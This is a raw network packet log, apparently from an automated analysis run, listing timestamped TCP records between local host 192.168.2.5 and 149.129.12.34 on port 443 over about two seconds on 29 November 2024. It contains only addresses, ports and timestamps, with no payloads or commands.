Nov 29, 2024 15:45:15.811831951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:15.811849117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:15.811892033 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:15.818792105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:15.998262882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:15.998291016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:15.998430014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:15.998462915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:15.998503923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.003396034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.003420115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.003472090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.003515005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.003540039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.003556013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.008276939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.008300066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.008363962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.008388996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.008428097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.014048100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.014072895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.014131069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.014153957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.014167070 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.014184952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.019401073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.019426107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.019483089 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.019505978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.019516945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.019537926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.024290085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.024311066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.024394035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.024419069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.024457932 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.031076908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.031100035 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.031172037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.031193018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.031230927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.035181999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.035207033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.035274029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.035293102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.035336971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.218151093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.218173981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.218281031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.218310118 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.218348980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.223261118 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.223277092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.223355055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.223373890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.223408937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.228889942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.228909969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.228982925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.229008913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.229026079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.229043007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.233803988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.233828068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.233901024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.233922005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.233961105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.239250898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.239267111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.239335060 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.239356041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.239399910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.244808912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.244823933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.244888067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.244906902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.244920969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.244954109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.249995947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.250011921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.250077009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.250082970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.250125885 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.255570889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.255584002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.255661964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.255676031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.255719900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.428898096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.428927898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.428971052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.428992033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.429014921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.429030895 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.434180975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.434197903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.434259892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.434264898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.434299946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.438999891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.439018011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.439085960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.439090967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.439124107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.444540977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.444560051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.444605112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.444611073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.444658041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.447125912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.450088978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.450123072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.450172901 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.450181007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.450215101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.450222969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.455924034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.455944061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.455993891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.456005096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.456044912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.456063986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.460818052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.460838079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.461169958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.461179018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.461226940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.466586113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.466609955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.466648102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.466654062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.466686964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.466701031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.639669895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.639693022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.639764071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.639782906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.639842987 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.644645929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.644660950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.644704103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.644709110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.644743919 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.644762993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.650373936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.650391102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.650459051 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.650465012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.650518894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.650518894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.655112028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.655128002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.655184031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.655190945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.655225039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.655247927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.660573006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.660588026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.660636902 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.660641909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.660684109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.666136980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.666151047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.666210890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.666217089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.666249037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.671318054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.671331882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.671375990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.671381950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.671422005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.676913023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.676928043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.676970959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.676976919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.677030087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.677030087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.760370970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.850224018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.850241899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.850481033 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.850513935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.850560904 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.855531931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.855547905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.855596066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.855622053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.855664015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.861089945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.861104965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.861162901 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.861182928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.861227989 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.866014004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.866029024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.866086006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.866106987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.866141081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.871547937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.871562958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.871635914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.871656895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.871695995 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.877026081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.877039909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.877127886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.877144098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.877187967 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.882205963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.882220984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.882285118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.882307053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.882344961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.887761116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.887775898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.887861013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:16.887883902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:16.887929916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.000483990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.061079979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.061103106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.061203957 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.061234951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.061283112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.066092968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.066108942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.066181898 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.066207886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.066255093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.071435928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.071450949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.071506977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.071533918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.071574926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.077054977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.077071905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.077142000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.077167988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.077236891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.082036018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.082051992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.082117081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.082144022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.082187891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.087565899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.087584019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.087642908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.087666988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.087703943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.093133926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.093149900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.093203068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.093225002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.093266010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.098135948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.098150015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.098206997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.098227024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.098268986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.186048031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.271699905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.271727085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.271774054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.271796942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.271811962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.271847010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.277115107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.277133942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.277180910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.277187109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.277203083 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.277230024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.282263041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.282279015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.282341957 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.282349110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.282390118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.287554979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.287568092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.287633896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.287641048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.287686110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.293090105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.293103933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.293164968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.293169975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.293210983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.298034906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.298070908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.298124075 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.298127890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.298158884 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.298166990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.303844929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.303858995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.303952932 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.303961992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.304003000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.308767080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.308783054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.308847904 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.308852911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.308886051 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.308903933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.316721916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.493077993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.493099928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.493192911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.493225098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.494456053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.498673916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.498688936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.498753071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.498764992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.502444029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.503565073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.503578901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.503638029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.503644943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.504708052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.509125948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.509140015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.509215117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.509222031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.509540081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.509546041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.514632940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.514647961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.514713049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.514735937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.515202045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.515217066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.519663095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.519676924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.519773960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.519793034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:17.520560026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.521675110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:17.526094913 CET	443	49704	149.129.12.34	192.168.2.5
